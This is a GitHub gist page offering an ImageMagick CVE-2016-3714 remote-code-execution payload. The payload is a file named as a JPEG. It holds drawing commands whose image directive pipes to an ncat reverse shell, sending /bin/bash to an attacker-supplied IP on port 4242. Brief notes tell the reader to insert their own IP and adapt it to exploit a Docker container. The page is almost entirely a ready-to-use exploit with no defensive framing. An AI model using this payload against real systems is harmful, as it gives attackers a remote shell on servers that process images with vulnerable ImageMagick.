Skip to content

Instantly share code, notes, and snippets.

@sbnsec

sbnsec/ImageMagick-6.9.3-9 CVE-2016–3714 RCE Payload

Forked from tutozz/README.md
Last active May 12, 2024 16:35
Show Gist options
  • Save sbnsec/5920bc6dacc725497ae3e7cf3b499891 to your computer and use it in GitHub Desktop.
Save sbnsec/5920bc6dacc725497ae3e7cf3b499891 to your computer and use it in GitHub Desktop.
Download ZIP
ImageMagick-6.9.3-9 CVE-2016–3714 RCE Payload
Raw
ImageMagick-6.9.3-9 CVE-2016–3714 RCE Payload
Based on https://github.com/swisskyrepo/PayloadsAllTheThings
This needs to be adapted to exploit a Docker container. Replace the IP with your own.
Raw
payload_ncat.jpg
push graphic-context
encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
image Over 0,0 1,1 '|ncat IP 4242 -e /bin/bash'
pop graphic-context
pop graphic-context
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment